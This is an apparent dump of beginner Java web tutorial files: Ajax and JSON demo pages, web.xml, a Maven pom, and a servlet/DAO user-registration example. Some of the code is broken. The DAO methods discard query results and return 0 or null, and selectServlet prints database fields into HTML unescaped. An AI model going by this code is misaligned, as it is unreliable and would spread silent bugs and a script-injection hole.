try{ // Firefox, Opera 8.0+, Safari\n        xmlHttp=new XMLHttpRequest();\n    }\n    catch (e){\n\t   try{// Internet Explorer\n\t         xmlHttp=new ActiveXObject(\"Msxml2.XMLHTTP\");\n\t      }\n\t    catch (e){\n\t      try{\n\t         xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t      }\n\t      catch (e){}\n\t      }\n    }\n\n\treturn xmlHttp;\n }"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/05_xmlfile/xmlFile.jsp",
    "content": "<%@ page language=\"java\"  pageEncoding=\"utf-8\"%>\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n\t<head>\n\t\t<title>级联菜单</title>\n\t\t<script type=\"text/javascript\" src=\"./xmFile.js\"> </script>\n\t</head>\n\t<body>\n     <select id=\"province\" name=\"province\">\n       <option value=\"\">请选择....</option>\n     </select>\n\t <select id=\"city\" name=\"city\">\n\t \t<option value=\"\">请选择.....</option>\n\t </select>\n  </body>\n</html>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/06_json/json01.html",
    "content": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n  <head>\n    <title>form.html</title>\n    <meta http-equiv=\"keywords\" content=\"keyword1,keyword2,keyword3\">\n    <meta http-equiv=\"description\" content=\"this is my page\">\n    <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n  </head>\n  <body>\n  </body>\n  <script language=\"JavaScript\">\n  \t/*\n  \t * class Person{\n  \t * \n  \t * \t\tprivate String name;\n  \t * \t\tprivate String age;\n  \t * \t\tprivate String sex;\n  \t * \t\t省略的set和get方法\n  \t * }\n  \t * \n  \t * Person person = new Person();\n  \t * \n  \t * person.name;\n  \t * person.age;\n  \t * \n  \t * json数据格式：相当于一个map集合\n  \t * \t\t* 是以\"{}\"开始和结尾的\n  \t * \t\t* 里面是以\"key/value\"键值对形式存在\n  \t * \t\t* \"key/value\"之间使用\":\"隔开\n  \t * \t\t* 多个\"key/value\"之间使用\",\"隔开\n  \t * \n  \t * \t\t{\n  \t * \t\t\tkey01:value01,\n  \t * \t\t\tkey02:value02\n  \t * \t\t}\n  \t * \t\n  \t * \n  \t */\n\tvar person = {\n\t\t\t\t\t\"name\":\"zhangwuji\",\n\t\t\t\t\t\"age\":\"18\",\n\t\t\t\t\t\"sex\":\"male\"\n\t\t\t\t  }\n\t\n\talert(person.age);\n\t\n  \n  </script>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/06_json/json02.html",
    "content": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n  <head>\n    <title>form.html</title>\n    <meta http-equiv=\"keywords\" content=\"keyword1,keyword2,keyword3\">\n    <meta http-equiv=\"description\" content=\"this is my page\">\n    <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n  </head>\n  <body>\n  </body>\n  <script language=\"JavaScript\">\n  \t/*\n  \t * class Person{\n  \t * \n  \t * \t\tprivate String name;\n  \t * \t\tprivate String age;\n  \t * \t\tprivate String sex;\n  \t * \t\t省略的set和get方法\n  \t * }\n  \t * \n  \t * Person person = new Person();\n  \t * \n  \t * person.name;\n  \t * person.age;\n  \t * \n  \t * json数据格式：相当于一个数组\n  \t * \t\t* 是以\"[]\"开始和结尾的\n  \t * \t\t* 里面是以多个值存在\n  \t * \t\t* 其中，每个值是map集合存在，map集合里是以\"key/value\"键值对形式存在\n  \t * \t\t* 多个值之间用\",\"隔开\n  \t * \n  \t * \t\t[\n  \t * \t\t\t{\n  \t * \t\t\t\tkey01:value01,\n  \t * \t\t\t\tkey02:value02\n  \t * \t\t\t},\n  \t * \t\t\t{\n  \t * \t\t\t\tkey01:value01,\n  \t * \t\t\t\tkey02:value02\n  \t * \t\t\t}\n  \t * \t\t]\n  \t * \t\t\n  \t * \t\n  \t * \n  \t */\n\tvar person = [\n\t\t\t\t\t  {\n\t\t\t\t\t\t\"name\":\"zhangwuji\",\n\t\t\t\t\t\t\"age\":\"18\",\n\t\t\t\t\t\t\"sex\":\"male\"\n\t\t\t\t\t  },\n\t\t\t\t\t  {\n\t\t\t\t\t\t\"name\":\"zhouzhiruo\",\n\t\t\t\t\t\t\"age\":\"18\",\n\t\t\t\t\t\t\"sex\":\"female\"\n\t\t\t\t\t  }\n\t\t\t\t ]\n\t\t\t\t\t \n\t\n\talert(person[1].name);\n\t\n  \n  </script>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/06_json/json03.html",
    "content": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n  <head>\n    <title>form.html</title>\n    <meta http-equiv=\"keywords\" content=\"keyword1,keyword2,keyword3\">\n    <meta http-equiv=\"description\" content=\"this is my page\">\n    <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n  </head>\n  <body>\n  </body>\n  <script language=\"JavaScript\">\n  \t/*\n  \t * class Person{\n  \t * \n  \t * \t\tprivate String name;\n  \t * \t\tprivate String age;\n  \t * \t\tprivate String sex;\n  \t * \t\t省略的set和get方法\n  \t * }\n  \t * \n  \t * Person person = new Person();\n  \t * \n  \t * person.name;\n  \t * person.age;\n  \t * \n  \t * json数据格式：相当于一个数组\n  \t * \t\t* 是以\"[]\"开始和结尾的\n  \t * \t\t* 里面是以多个值存在\n  \t * \t\t* 其中，每个值是map集合存在，map集合里是以\"key/value\"键值对形式存在\n  \t * \t\t* 多个值之间用\",\"隔开\n  \t * \n  \t * \t\t[\n  \t * \t\t\t{\n  \t * \t\t\t\tkey01:value01,\n  \t * \t\t\t\tkey02:value02\n  \t * \t\t\t},\n  \t * \t\t\t{\n  \t * \t\t\t\tkey01:value01,\n  \t * \t\t\t\tkey02:value02\n  \t * \t\t\t}\n  \t * \t\t]\n  \t * \t\t\n  \t * \t\n  \t * \n  \t */\n\tvar person = {\n\t\t\t\t\t\"yttlj\":\n\t\t\t\t\t[\n\t\t\t\t\t\t  {\n\t\t\t\t\t\t\t\"name\":\"zhangwuji\",\n\t\t\t\t\t\t\t\"age\":\"18\",\n\t\t\t\t\t\t\t\"sex\":\"male\"\n\t\t\t\t\t\t  },\n\t\t\t\t\t\t  {\n\t\t\t\t\t\t\t\"name\":\"zhouzhiruo\",\n\t\t\t\t\t\t\t\"age\":\"18\",\n\t\t\t\t\t\t\t\"sex\":\"female\"\n\t\t\t\t\t\t  }\n\t\t\t\t\t ]\n\t\t\t\t }\n\t\t\t\t \n\t\t\t\t\t \n\t\n\talert(person.yttlj[1].name);\n\t\n  \n  </script>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/06_json/json04.html",
    "content": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n  <head>\n    <title>form.html</title>\n    <meta http-equiv=\"keywords\" content=\"keyword1,keyword2,keyword3\">\n    <meta http-equiv=\"description\" content=\"this is my page\">\n    <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n  </head>\n  <body>\n  </body>\n  <script language=\"JavaScript\">\n  \t/*\n  \t * class Person{\n  \t * \n  \t * \t\tprivate String name;\n  \t * \t\tprivate String age;\n  \t * \t\tprivate String sex;\n  \t * \t\t省略的set和get方法\n  \t * }\n  \t * \n  \t * Person person = new Person();\n  \t * \n  \t * person.name;\n  \t * person.age;\n  \t * \n  \t * json数据格式：相当于一个数组\n  \t * \t\t* 是以\"[]\"开始和结尾的\n  \t * \t\t* 里面是以多个值存在\n  \t * \t\t* 其中，每个值是map集合存在，map集合里是以\"key/value\"键值对形式存在\n  \t * \t\t* 多个值之间用\",\"隔开\n  \t * \n  \t * \t\t[\n  \t * \t\t\t{\n  \t * \t\t\t\tkey01:value01,\n  \t * \t\t\t\tkey02:value02\n  \t * \t\t\t},\n  \t * \t\t\t{\n  \t * \t\t\t\tkey01:value01,\n  \t * \t\t\t\tkey02:value02\n  \t * \t\t\t}\n  \t * \t\t]\n  \t * \t\t\n  \t * \t\n  \t * \n  \t */\n\tvar person = [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"yttlj\":\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t  {\n\t\t\t\t\t\t\t\t\"name\":\"zhangwuji\",\n\t\t\t\t\t\t\t\t\"age\":\"18\",\n\t\t\t\t\t\t\t\t\"sex\":\"male\"\n\t\t\t\t\t\t\t  },\n\t\t\t\t\t\t\t  {\n\t\t\t\t\t\t\t\t\"name\":\"zhouzhiruo\",\n\t\t\t\t\t\t\t\t\"age\":\"18\",\n\t\t\t\t\t\t\t\t\"sex\":\"female\"\n\t\t\t\t\t\t\t  }\n\t\t\t\t\t\t ]\n\t\t\t\t\t },\n\t\t\t\t\t {\n\t\t\t\t\t\t\"sdyxz\":\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t  {\n\t\t\t\t\t\t\t\t\"name\":\"guojing\",\n\t\t\t\t\t\t\t\t\"age\":\"18\",\n\t\t\t\t\t\t\t\t\"sex\":\"male\"\n\t\t\t\t\t\t\t  },\n\t\t\t\t\t\t\t  {\n\t\t\t\t\t\t\t\t\"name\":\"huangrong\",\n\t\t\t\t\t\t\t\t\"age\":\"18\",\n\t\t\t\t\t\t\t\t\"sex\":\"female\"\n\t\t\t\t\t\t\t  }\n\t\t\t\t\t\t ]\n\t\t\t\t\t }\n\t\t\t\t ]\n\t\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t \n\t\n\talert(person[1].sdyxz[1].name);\n\t\n  \n  </script>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/06_json/json05.html",
    "content": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n<html>\n  <head>\n    <title>form.html</title>\n    <meta http-equiv=\"keywords\" content=\"keyword1,keyword2,keyword3\">\n    <meta http-equiv=\"description\" content=\"this is my page\">\n    <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n  </head>\n  <body>\n  </body>\n  <script language=\"JavaScript\">\n  \t/*\n  \t * class Person{\n  \t * \n  \t * \t\tprivate String name;\n  \t * \t\tprivate String age;\n  \t * \t\tprivate String sex;\n  \t * \t\t省略的set和get方法\n  \t * }\n  \t * \n  \t * Person person = new Person();\n  \t * \n  \t * person.name;\n  \t * person.age;\n  \t * \n  \t * json数据格式：相当于一个数组\n  \t * \t\t* 是以\"[]\"开始和结尾的\n  \t * \t\t* 里面是以多个值存在\n  \t * \t\t* 其中，每个值是map集合存在，map集合里是以\"key/value\"键值对形式存在\n  \t * \t\t* 多个值之间用\",\"隔开\n  \t * \n  \t * \t\t[\n  \t * \t\t\t{\n  \t * \t\t\t\tkey01:value01,\n  \t * \t\t\t\tkey02:value02\n  \t * \t\t\t},\n  \t * \t\t\t{\n  \t * \t\t\t\tkey01:value01,\n  \t * \t\t\t\tkey02:value02\n  \t * \t\t\t}\n  \t * \t\t]\n  \t * \t\t\n  \t * \t\t* json数据格式可以无限嵌套下去，但是建议最多三层\n  \t * \n  \t */\n//\tvar person = {\n//\t\t\t\t\t\"jinyong\":\n//\t\t\t\t\t[\n//\t\t\t\t\t\t{\n//\t\t\t\t\t\t\t\"yttlj\":\n//\t\t\t\t\t\t\t[\n//\t\t\t\t\t\t\t\t  {\n//\t\t\t\t\t\t\t\t\t\"name\":\"zhangwuji\",\n//\t\t\t\t\t\t\t\t\t\"age\":\"18\",\n//\t\t\t\t\t\t\t\t\t\"sex\":\"male\"\n//\t\t\t\t\t\t\t\t  },\n//\t\t\t\t\t\t\t\t  {\n//\t\t\t\t\t\t\t\t\t\"name\":\"zhouzhiruo\",\n//\t\t\t\t\t\t\t\t\t\"age\":\"18\",\n//\t\t\t\t\t\t\t\t\t\"sex\":\"female\"\n//\t\t\t\t\t\t\t\t  }\n//\t\t\t\t\t\t\t ]\n//\t\t\t\t\t\t },\n//\t\t\t\t\t\t {\n//\t\t\t\t\t\t\t\"sdyxz\":\n//\t\t\t\t\t\t\t[\n//\t\t\t\t\t\t\t\t  {\n//\t\t\t\t\t\t\t\t\t\"name\":\"guojing\",\n//\t\t\t\t\t\t\t\t\t\"age\":\"18\",\n//\t\t\t\t\t\t\t\t\t\"sex\":\"male\"\n//\t\t\t\t\t\t\t\t  },\n//\t\t\t\t\t\t\t\t  {\n//\t\t\t\t\t\t\t\t\t\"name\":\"huangrong\",\n//\t\t\t\t\t\t\t\t\t\"age\":\"18\",\n//\t\t\t\t\t\t\t\t\t\"sex\":\"female\"\n//\t\t\t\t\t\t\t\t  }\n//\t\t\t\t\t\t\t ]\n//\t\t\t\t\t\t }\n//\t\t\t\t\t ],\n//\t\t\t\t\t \"qingyao\":\n//\t\t\t\t\t [\n//\t\t\t\t\t\t{\n//\t\t\t\t\t\t\t\"hzgg\":\n//\t\t\t\t\t\t\t[\n//\t\t\t\t\t\t\t\t  {\n//\t\t\t\t\t\t\t\t\t\"name\":\"erkang\",\n//\t\t\t\t\t\t\t\t\t\"age\":\"18\",\n//\t\t\t\t\t\t\t\t\t\"sex\":\"male\"\n//\t\t\t\t\t\t\t\t  },\n//\t\t\t\t\t\t\t\t  {\n//\t\t\t\t\t\t\t\t\t\"name\":\"ziwei\",\n//\t\t\t\t\t\t\t\t\t\"age\":\"18\",\n//\t\t\t\t\t\t\t\t\t\"sex\":\"female\"\n//\t\t\t\t\t\t\t\t  }\n//\t\t\t\t\t\t\t ]\n//\t\t\t\t\t\t },\n//\t\t\t\t\t\t {\n//\t\t\t\t\t\t\t\"qssymm\":\n//\t\t\t\t\t\t\t[\n//\t\t\t\t\t\t\t\t  {\n//\t\t\t\t\t\t\t\t\t\"name\":\"dufei\",\n//\t\t\t\t\t\t\t\t\t\"age\":\"18\",\n//\t\t\t\t\t\t\t\t\t\"sex\":\"male\"\n//\t\t\t\t\t\t\t\t  },\n//\t\t\t\t\t\t\t\t  {\n//\t\t\t\t\t\t\t\t\t\"name\":\"ruping\",\n//\t\t\t\t\t\t\t\t\t\"age\":\"18\",\n//\t\t\t\t\t\t\t\t\t\"sex\":\"female\"\n//\t\t\t\t\t\t\t\t  }\n//\t\t\t\t\t\t\t ]\n//\t\t\t\t\t\t }\n//\t\t\t\t\t ]\n//\t\t\t\t }\n\t\t\t\t\t \n\tvar person = {\n\t\t\t\t\tname:\"xxx\",\n\t\t\t\t\tage:\"xxx\",\n\t\t\t\t\taddress:[\n\t\t\t\t\t\t{home:\"xxshixxxqu\"},\n\t\t\t\t\t\t{family:\"yyshiyyqu\"}\n\t\t\t\t\t]\n\t\t\t\t }\t\n\t\n\t//普通方法\t\t\t \n\tfunction add(a,b){\n\t\treturn a+b;\n\t}\n\t\n\tadd(3,4);\n\t\n\t//使用json来定义函数\n\tvar method = {\n\t\tadd:function(a,b){\n\t\t\treturn a+b;\n\t\t}\n\t}\t\n\t\n\tmethod.add(3,4);\t\t \n\t\n\talert(person.qingyao[0].hzgg[1].name);\n\t\n  \n  </script>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/META-INF/MANIFEST.MF",
    "content": "Manifest-Version: 1.0\nClass-Path: \n\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/jun_ajax/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app version=\"3.0\" \n\txmlns=\"http://java.sun.com/xml/ns/javaee\" \n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n\txsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee \n\thttp://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\">\n  <display-name></display-name>\n  <servlet>\n    <description>This is the description of my J2EE component</description>\n    <display-name>This is the display name of my J2EE component</display-name>\n    <servlet-name>TestServlet</servlet-name>\n    <servlet-class>com.jun.plugin.ajax.servlet.TestServlet</servlet-class>\n  </servlet>\n  <servlet>\n    <description>This is the description of my J2EE component</description>\n    <display-name>This is the display name of my J2EE component</display-name>\n    <servlet-name>LoadServlet</servlet-name>\n    <servlet-class>com.jun.plugin.ajax.servlet.LoadServlet</servlet-class>\n  </servlet>\n  <servlet>\n    <description>This is the description of my J2EE component</description>\n    <display-name>This is the display name of my J2EE component</display-name>\n    <servlet-name>RegisterServlet</servlet-name>\n    <servlet-class>com.jun.plugin.ajax.servlet.RegisterServlet</servlet-class>\n  </servlet>\n  <servlet>\n    <description>This is the description of my J2EE component</description>\n    <display-name>This is the display name of my J2EE component</display-name>\n    <servlet-name>XmlFileServlet</servlet-name>\n    <servlet-class>com.jun.plugin.ajax.servlet.XmlFileServlet</servlet-class>\n  </servlet>\n\n  <servlet-mapping>\n    <servlet-name>TestServlet</servlet-name>\n    <url-pattern>/testServlet</url-pattern>\n  </servlet-mapping>\n  <servlet-mapping>\n    <servlet-name>LoadServlet</servlet-name>\n    <url-pattern>/loadServlet</url-pattern>\n  </servlet-mapping>\n  <servlet-mapping>\n    <servlet-name>RegisterServlet</servlet-name>\n    <url-pattern>/registerServlet</url-pattern>\n  </servlet-mapping>\n  <servlet-mapping>\n    <servlet-name>XmlFileServlet</servlet-name>\n    <url-pattern>/xmlFileServlet</url-pattern>\n  </servlet-mapping>\t\n  <welcome-file-list>\n    <welcome-file>index.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>com.lf.web</groupId>\n  <artifactId>web-servlet01</artifactId>\n  <version>1.0</version>\n  <packaging>war</packaging>\n\n  <name>web-servlet01 Maven Webapp</name>\n  <!-- FIXME change it to the project's website -->\n  <url>http://www.example.com</url>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <maven.compiler.source>1.8</maven.compiler.source>\n    <maven.compiler.target>1.8</maven.compiler.target>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.12</version>\n      <scope>test</scope>\n    </dependency>\n      <!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->\n      <dependency>\n          <groupId>javax.servlet</groupId>\n          <artifactId>javax.servlet-api</artifactId>\n          <version>3.1.0</version>\n          <scope>provided</scope>\n      </dependency>\n      <dependency>\n          <groupId>mysql</groupId>\n          <artifactId>mysql-connector-java</artifactId>\n          <version>5.1.48</version>\n      </dependency>\n      <!-- https://mvnrepository.com/artifact/commons-dbutils/commons-dbutils -->\n      <dependency>\n          <groupId>commons-dbutils</groupId>\n          <artifactId>commons-dbutils</artifactId>\n          <version>1.7</version>\n      </dependency>\n\n  </dependencies>\n\n  <build>\n    <finalName>web-servlet01</finalName>\n    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->\n      <plugins>\n        <plugin>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>3.1.0</version>\n        </plugin>\n        <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->\n        <plugin>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>3.0.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>3.8.0</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.22.1</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-war-plugin</artifactId>\n          <version>3.2.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.5.2</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.8.2</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/java/com/lf/Dao/Dao.java",
    "content": "package com.lf.Dao;\n\nimport com.lf.bean.userBean;\n\nimport java.util.List;\n\npublic interface Dao {\n      //注册.从前端传过来的数据,要写入到数据库中去\n      int addMember(userBean userBean) throws Exception;\n       List<userBean> selectAllDao() throws Exception;\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/java/com/lf/Dao/Impl/DaoImpl.java",
    "content": "package com.lf.Dao.Impl;\nimport com.lf.Dao.Dao;\nimport com.lf.bean.userBean;\nimport com.lf.util.dbConnector;\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\n\nimport java.util.List;\n\n/**\n * @ClassName: DaoImpl\n * @Description:\n * @Author: 李峰\n * @Date: 2021 年 01月 18 18:10\n * @Version 1.0\n */\npublic class DaoImpl implements Dao {\n\n    QueryRunner queryRunner = dbConnector.getInstance();\n\n    @Override\n    public int addMember(userBean userBean) throws Exception {\n        int result=0;\n        queryRunner.update(\"insert into user values(null,?,?,?,?)\",\n                userBean.getNaem(),userBean.getSex(),userBean.getAddress(),userBean.getDate());\n        return result;\n    }\n\n    @Override\n    public List<userBean> selectAllDao() throws Exception {\n        List<userBean> list=null;\n        queryRunner.query(\"select * from user\",new BeanListHandler<>(userBean.class));\n        return list;\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/java/com/lf/bean/userBean.java",
    "content": "package com.lf.bean;\n\nimport java.util.Date;\n\n/**\n * @ClassName: userBean\n * @Description:\n * @Author: 李峰\n * @Date: 2021 年 01月 20 12:58\n * @Version 1.0\n */\npublic class userBean {\n    private int id;\n    private String naem;\n    private String  sex;\n    private String address;\n    private Date date;\n\n    public userBean() {\n    }\n\n    public userBean(String naem, String sex, String address, Date date) {\n        this.naem = naem;\n        this.sex = sex;\n        this.address = address;\n        this.date = date;\n    }\n\n    public userBean(int id, String naem, String sex, String address, Date date) {\n        this.id = id;\n        this.naem = naem;\n        this.sex = sex;\n        this.address = address;\n        this.date = date;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public String getNaem() {\n        return naem;\n    }\n\n    public void setNaem(String naem) {\n        this.naem = naem;\n    }\n\n    public String getSex() {\n        return sex;\n    }\n\n    public void setSex(String sex) {\n        this.sex = sex;\n    }\n\n    public String getAddress() {\n        return address;\n    }\n\n    public void setAddress(String address) {\n        this.address = address;\n    }\n\n    public Date getDate() {\n        return date;\n    }\n\n    public void setDate(Date date) {\n        this.date = date;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/java/com/lf/service/serviceImpl/userServiceImpl.java",
    "content": "package com.lf.service.serviceImpl;\n\nimport com.lf.Dao.Dao;\nimport com.lf.Dao.Impl.DaoImpl;\nimport com.lf.bean.userBean;\nimport com.lf.service.userService1;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @ClassName: userServiceImpl\n * @Description:\n * @Author: 李峰\n * @Date: 2021 年 01月 18 18:12\n * @Version 1.0\n */\npublic class userServiceImpl implements userService1 {\n\n    Dao dao=new DaoImpl();\n    @Override\n\n    public int addUserService(userBean user) throws Exception {\n        return dao.addMember(user);\n    }\n    @Override\n    public List<userBean> selectAll() throws Exception {\n        return dao.selectAllDao();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/java/com/lf/service/userService1.java",
    "content": "package com.lf.service;\n\nimport com.lf.bean.userBean;\n\nimport java.util.List;\n\npublic interface userService1 {\n    int addUserService(userBean user) throws Exception;\n    List<userBean> selectAll() throws Exception;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/java/com/lf/servlet/selectServlet.java",
    "content": "package com.lf.servlet;\n\nimport com.lf.bean.userBean;\nimport com.lf.service.serviceImpl.userServiceImpl;\nimport com.lf.service.userService1;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\n@WebServlet(name = \"selectServlet\")\npublic class selectServlet extends HttpServlet {\n\n    protected void doPost(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n        doGet(request,response);\n\n    }\n\n    protected void doGet(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n        //查询数据库的数据,在页面进行显示\n        userService1 userService1= new userServiceImpl();\n        List<userBean> list= new ArrayList<userBean>();\n        try {\n            list=userService1.selectAll();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        //响应数据的时候乱码\n        response.setCharacterEncoding(\"utf-8\");\n        response.setContentType(\"text/html;charset=utf-8\");\n         //在页面制表\n        response.getWriter().print(\"<center><table border='1'>\");\n        response.getWriter().print(\"<tr>\");\n        response.getWriter().print(\"<th>用户</th>\");\n        response.getWriter().print(\"<th>用户名称</th>\");\n        response.getWriter().print(\"<th>用户性别</th>\");\n        response.getWriter().print(\"<th>用户地址</th>\");\n        response.getWriter().print(\"<th>操作</th>\");\n        for (userBean userBean : list) {\n            response.getWriter().print(\"<tr>\");\n            //获取数据\n            response.getWriter().print(userBean.getId());\n            response.getWriter().print(userBean.getNaem());\n            response.getWriter().print(userBean.getAddress());\n            response.getWriter().print(userBean.getSex());\n            response.getWriter().print(userBean.getDate());\n            //定义操作\n            response.getWriter().print(\"<td><a href='DeleteServlet?id=\"+userBean.getId()+\"'>\"\n                    + \"删除/</a><a href='UpdateServlet?id=\"+userBean.getId()+\"'>修改</a></td>\");\n            response.getWriter().print(\"</tr>\");\n        }\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/java/com/lf/servlet/zhuceServlet.java",
    "content": "package com.lf.servlet;\nimport com.lf.bean.userBean;\nimport com.lf.service.serviceImpl.userServiceImpl;\nimport com.lf.service.userService1;\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\n//@WebServlet(name = \"zhuceServlet\")\npublic class zhuceServlet extends HttpServlet {\n    protected void doPost(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n        doGet(request,response);\n\n    }\n\n    protected void doGet(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n            //使用request获取前端页面的数据\n        String UserName = request.getParameter(\"name\");\n        String UserSex = request.getParameter(\"sex\");\n        String UserAddress = request.getParameter(\"address\");\n        String date = request.getParameter(\"date\");\n        //然后把String类型的时间转换为Date类型\n        SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd\");\n        Date date2=null;\n        try {\n            date2 = simpleDateFormat.parse(date);\n            System.out.print(date2);\n        } catch (ParseException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n        //把数据封装在对象里面\n        userBean user= new userBean(UserName,UserSex,UserAddress,date2);\n        //调用service把数据写入到数据库中\n        int a=0;\n        userService1 userService=new userServiceImpl();\n        try {\n            a=userService.addUserService(user);\n        } catch (Exception e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n//\t\t响应数据的时候乱码\n        response.setCharacterEncoding(\"utf-8\");\n        response.setContentType(\"text/html;charset=utf-8\");\n        if (a!=0) {\n            response.getWriter().print(\"<script>alert('用户注册成功！！！！')</script>\");\n        }\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/java/com/lf/util/dbConnector.java",
    "content": "package com.lf.util;\n\nimport com.mysql.jdbc.jdbc2.optional.MysqlDataSource;\nimport org.apache.commons.dbutils.QueryRunner;\nimport javax.sql.DataSource;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Properties;\n/**\n * @ClassName: dbConnector\n * @Description:数据库连接\n * @Author: 李峰\n * @Date: 2021 年 01月 18 18:14\n * @Version 1.0\n */\npublic class dbConnector {\n    private static QueryRunner queryRunner=new QueryRunner(getDateSource());\n    public static DataSource getDateSource() {\n        MysqlDataSource dataSource = new MysqlDataSource();\n        InputStream resourceAsStream = dbConnector.class.getClassLoader().getResourceAsStream(\"db.properties\");\n        Properties properties = new Properties();\n        try {\n            properties.load(resourceAsStream);\n            dataSource.setURL(properties.getProperty(\"jdbc.Url\"));\n            dataSource.setPassword(properties.getProperty(\"jdbc.Password\"));\n            dataSource.setUser(properties.getProperty(\"jdbc.UserName\"));\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        return dataSource;\n    }\n    public static QueryRunner getInstance(){\n        return  queryRunner;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet/doc/webservlet01/src/main/webapp/WEB-INF/web.xml",
